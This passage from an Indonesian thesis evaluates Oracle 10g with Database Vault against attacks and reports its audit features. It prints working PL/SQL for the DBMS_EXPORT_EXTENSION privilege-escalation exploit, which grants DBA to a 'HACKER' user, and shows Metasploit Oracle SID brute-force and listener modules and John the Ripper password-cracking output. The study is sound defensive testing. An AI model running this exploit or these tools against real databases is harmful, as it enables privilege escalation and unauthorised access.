Membuat paket dan injeksi fungsi, fungsi akan dijalankan

dengan user SYS

CREATE OR REPLACE

PACKAGE MYBADPACKAGE AUTHID CURRENT_USER

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo

SYS.odciindexinfo,P3

VARCHAR2,p4 VARCHAR2,env SYS.odcienv)

RETURN NUMBER;

END;

CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo

SYS.odciindexinfo,P3

VARCHAR2,p4 VARCHAR2,env SYS.odcienv)

RETURN NUMBER
96

IS

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';

COMMIT;

RETURN(1);

END;

END;

Sisipkan fungsi ini pada dbms_export_extension

DECLARE

INDEX_NAME VARCHAR2(200);

INDEX_SCHEMA VARCHAR2(200);

TYPE_NAME VARCHAR2(200);

TYPE_SCHEMA VARCHAR2(200);

VERSION VARCHAR2(200);

NEWBLOCK PLS_INTEGER;

GMFLAGS NUMBER;

v_Return VARCHAR2(200);

BEGIN

INDEX_NAME := 'A1';

INDEX_SCHEMA := 'HACKER';

TYPE_NAME := 'MYBADPACKAGE';

TYPE_SCHEMA := 'HACKER';

VERSION := '10.2.0.4.0';

GMFLAGS := 1;

v_Return :=

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(

INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA,

TYPE_NAME => TYPE_NAME,


97

TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>

NEWBLOCK, GMFLAGS => GMFLAGS

);

END;

Berikut adalah gambar dari hasil exploitasi dbms_export_extention

Gambar 4.6 Hasil exploitasi dbms_export_extension

Seperti terlihat pada gambar diatas bahwa ada pelanggaran pada

realm DVSYS.AUTHORIZE_EVENT walaupun sql command

tersebut di jalankan dengan user SYS dan injeksi prosedur gagal.

Dengan ini terbukti bahwa oracle 10g ditambah dengan database

vault mampu menahan serangan exploitasi dbms_export_extention.

Hal ini pun tampak pada laporan database vault untuk pelanggaran

pada realm. Berikut adalah bentuk laporan yang diberikan database

vault atas pelanggaran pada realm.


98

Gambar 4.7 Hasil laporan pada database vault

4.4 Eksploitasi oracle dengan suatu program

Begitu banyak program freeware di internet mengenai web hacking,

exploitasi program membuat penulis juga ingin mencoba pada oracle 10g

1. Metasploit Framework 3.2

Metasploit adalah freeware program yang dibuat oleh peneliti

independen yang bekerja di industri pengamanan. Metasploit

merupakan antar muka untuk exploitasi dan digunakan bagi para

developer untuk menguji sistem keamanan yang dimiliki. Metasploit

berjalan diatas berbagai macam OS hingga iphone. Penulis ingin

mencoba melakukan exploitasi di beberapa bagian penting dari

oracle 10g yaitu SID dan listener. Seperti yang telah dijelaskan pada

bab sebelumnya SID berfungsi sebagai identifikasi suatu database

pada sistem, SID bersifat unik sehingga bila memiliki lebih dari satu
99

database tidak boleh memiliki SID yang sama. Sedangkan listener

sesuai dengan namanya berfungsi untuk mendengar, merupakan

proxy yang mengatur lalu lintas jaringan antara database dengan

client.

a. Mengetahui SID oracle

msf > use auxiliary/admin/oracle/sid_brute

msf auxiliary(sid_brute) > set RHOST 192.168.1.10.

RHOST => 192.168.1.10.

msf auxiliary(sid_brute) > run

[*] Starting brute force on 192.168.1.10., using sids

from /root/metasploit/data/wordlists/sid.txt...

[*] Found SID 'PLSExtProc' for host 192.168.1.10.

[*] Found SID 'ORCL' for host 192.168.1.10.

[*] Done with brute force...

[*] Auxiliary module execution completed

Berdasarkan hasil diatas maka dengan mudah metasploit

mengetahui SID oracle dari database yang ada. Hal ini perlu

diwaspadai karena SID bisa saja dirubah sehingga database

bisa hang.

Berikutnya penulis ingin mencoba untuk mengganti SID yang

telah diketahui.

Enumerasi SID

msf > use auxiliary/scanner/oracle/sid_enum

msf auxiliary(sid_enum) > set RHOSTS 192.168.1.10

RHOSTS => 192.168.1.10

msf auxiliary(sid_enum) > run

[-] TNS listener protected for 192.168.1.10...

[*] Auxiliary module execution completed


100

Terlihat pada Oracle 10g keamanan listener tidak dapat

ditembus karena keamanan dibuat sama dengan autentifikasi

OS. Sehingga tidak mungkin untuk merubah SID. Sehingga

dapat disimpulkan bahwa pada oracle 10g memiliki tingkat

keamanan yang baik karena dapat memproteksi SID dan sulit

untuk merubahnya.

b. Mengetahui tentang listener oracle

msf > use auxiliary/admin/oracle/tnscmd

msf auxiliary(tnscmd) > set RHOST 192.168.1.10

RHOST => 192.168.1.10

msf auxiliary(tnscmd) > run

[*] Sending '(CONNECT_DATA=(COMMAND=VERSION))' to

127.0.0.1:1521

[*] writing 90 bytes.

[*] reading

(DESCRIPTION=(TMP=)(VSNNUM=169870336)(ERR=0))#\#TNSLSNR

for Linux: Version 10.2.0.4.0 - Production

TNS for Linux: Version 10.2.0.4.0 - Production

Unix Domain Socket IPC NT Protocol Adaptor for Linux:

Version 10.2.0.4.0 - Production

Oracle Bequeath NT Protocol Adapter for Linux: Version

10.2.0.4.0 - Production

TCP/IP NT Protocol Adapter for Linux: Version 10.2.0.4.0

- Production,,

#@

[*] Auxiliary module execution completed

Berdasarkan hasil pengujian diatas, penulis dapat mengetahui

versi oracle yang digunakan dengan mengetahui tipe TNS


101

sehingga bila ingin mengeksploitasi listener lebih lanjut tinggal

mencari di internet berdasarkan versi oracle yang dimiliki.

c. Drop Table Trigger

Trigger adalah blok PL/SQL yang disimpan dalam database

dan dijalankan secara implisit sebagai respon terhadap

perubahan yang telah ditentukan dalam database.

Perintah DML seperti INSERT, UPDATE, dan DELETE

adalah pemicu umum terjadinya trigger. Operasi DDL seperti

ALTER dan DROP juga dapat memicu dijalankannya trigger.

Untuk percobaan metsploit berikut tidak seperti umumnya

trigger. Percobaan ini dimaksudkan untuk membuat modul

memberi akses DBA pada scott

msf > use auxiliary/admin/oracle/droptable_trigger

msf auxiliary(droptable_trigger) > set RHOST

192.168.1.10

RHOST => 192.168.1.10

msf auxiliary(droptable_trigger) > run

[*] Creating 'msf.sql' file ...

[*] Generated output file

/root/metasploit/data/exploits/msf.sql

[*] Auxiliary module execution completed

Lalu dilanjutkan dengan mengetik sql command

SCOTT/TIGER@192.168.1.10/orcl < msf.sql

Dan hasilnya adalah “insufficient privilege”. Dengan ini

terbukti bahwa tingkat keamanan pada oracle cukup baik

karena dapat menolak alter command untuk merubah privilege.


102

2. John The Ripper (JTR) 1.7.3.1

Merupakan freeware untuk mengcrack password dan berjalan pada

berbagai OS. Tujuan utamanya adalah mendeteksi kelemahan

password unix.

Terdapat 3 mode pada JTR untuk mendecrypt password:

- Single Mode

Pada Single Mode, JTR akan berusaha mencari password yang

paling lemah dari seluruh password. Cara ini merupakan cara

yang paling cepat.

- Wordfile Mode

Harus membuat terlebih dahulu password file passwd.txt dan

mempunyai kamus kata words.lst

- Incremental Mode

merupakan cara yang paling lambat dan berusaha untuk

mendecrypt semua password, akan memakan waktu

Untuk percobaan ini penulis menggunakan teknik wordfile mode

Password files required, but none specified

No table of contents entries found.[root@maroeti run]#

./john --show /tmp/crack.passwd.db

root:maroeti:0:0:root:/root:/bin/bash

maroeti:maroeti:501:502::/home/maroeti:/bin/bash

2 password hashes cracked, 1 left

Berdasarkan hasil diatas maka terbukti bahwa dapat mengetahui

password root. Setelah dilakukan pengamatan, cara kerja JTR

adalah dengan mengisi password list atau mengecek user name


103

dengan password dictionary yang telah ada atau kita dapat

membeli kumpulan password list pada JTR, sehingga tidak secara

langsung dapat mengcrack password-password yang kita miliki.

4.5 Laporan Audit

Bentuk laporan pada database vault terbagi menjadi dua bagian yaitu:

- Database vault reports

Memberikan laporan yang berkenaan dengan konfigurasi database

vault dan audit, antara lain: command rule configuration issue, realm

violation report. Berikut adalah gambaran bentuk pelaporan khusus

tentang database vault.

Gambar 4.8 Bentuk pelaporan khusus database vault

Sebagai contoh apabila ingin mengaudit tentang realm maka hasilnya

adalah seperti pada gambar berikut.


104

Gambar 4.9 Realm audit

Terlihat pada gambar diatas terjadi pelanggaran-pelanggaran pada

realm dan terlihat jelas siapa yang melakukan, jam berapa dan apa

command apa yang ditulis untuk melanggar realm.

- General Security Reports

Memberikan laporan secara umum tentang keamanan pada database,

antara lain: akses objek oleh publik, siapa saja yang memiliki DBA

roles, system privilege, akses ke objek yang sensitif, akses objek

oleh non publik, eksekusi yang dilakukan oleh public pada SYS

PL/SQL prosdur, dll. Berikut adalah gambaran bentuk pelaporan

pada general security reports.


105

Gambar 4.10 Bentuk pelaporan keamanan secara umum

Bila ada pemberian akses DBA pada user biasa maka laporannya

dapat terlihat pada accounts with DBA role report, sehingga kita

dapat mengantisipasi yang mencoba melakukan pelanggaran pada

database dengan account DBA walaupun tidak memiliki hak admin.

Berikut adalah gambaran dari account with DBA role

Gambar 4.11 Laporan account with dba role


106

Terlihat pada gambar diatas bahwa user dengan nama scott memiliki

akses sebagai DBA, padahal scott tidak memiliki tanggung jawab

atas database sehingga hal ini dapat menjadi penyelidikan lebih

lanjut.

Selain itu database vault juga memiliki sistem monitoring untuk

memantau keamanan dari database, seperti: kebijakan keamanan

berdasarkan kategori (privilege grants, database role), percobaan

untuk mengakses database. Berikut ini adalah gambaran sistem

monitoring pada database vault berdasarkan kategori dan percobaan

akses ke database.

Gambar 4.12 Sistem monitoring pada database vault

Dengan sistem ini database vault owner dapat memantau seluruh

kegiatan pengamanan database sehingga kemungkinan terjadinya

pelanggaran akan sangat kecil.

.
BAB V

PENUTUP

5.1 Kesimpulan

Setelah melakukan pengujian terhadap oracle database 10g release 2 yang

ditambahkan dengan database vault, maka dapat diambil kesimpulan sebagai

berikut :

1. Sistem keamanan yang dimiliki oracle database 10g release 2 dan

database vault telah memenuhi karakteristik sistem keamanan yang

baik. Hal ini dibuktikan dengan terproteksinya database dari user

yang tidak berhak bahkan dari DBA sendiri.

2. Adanya sistem monitoring keamanan untuk database secara real

time untuk memantau setiap aktivitas pada database, sehingga

kemungkinan terjadinya pelanggaran pada database amat kecil.

3. Adanya sistem pelaporan untuk audit pada database sehingga

memudahkan penelusuran dan pengecekan pada database.

5.2 Saran

Setelah mengamati dan melakukan pengujian pada oracle database 10g

release 2 dan database vault maka terdapat beberapa masukan:

1. Telah hilangnya super user privilege pada database tidak

menghilangkan kemampuan seorang DBA untuk menampilkan hash

107
108

password dari semua user termasuk database vault owner, maka

secara logika jika password dapat ditampilkan dalam bentuk enkripsi

hanya tinggal mencari tool untuk mendekripsi password yang ada,

freeware tools yang harus diwaspadai adalah metasploit dan john the

ripper.

2. Manajemen pengaturan yang sulit untuk role-role, karena pekerjaan

satu orang database administrator harus dikerjakan oleh beberapa

orang demi antisipasi keamanan database secara internal namun

apakah dapat dijamin juga beberapa orang ini dapat dipercaya dan

akan lebih banyaknya birokrasi sehingga tidak efektif dan efisien

3. Perlu ditingkatkannya penjagaan akan database baik secara langsung

maupun melalui IDS dengan terbukti begitu banyaknya program-

program eksploitasi yang mudah didapat di internet dan gratis.

Anda mungkin juga menyukai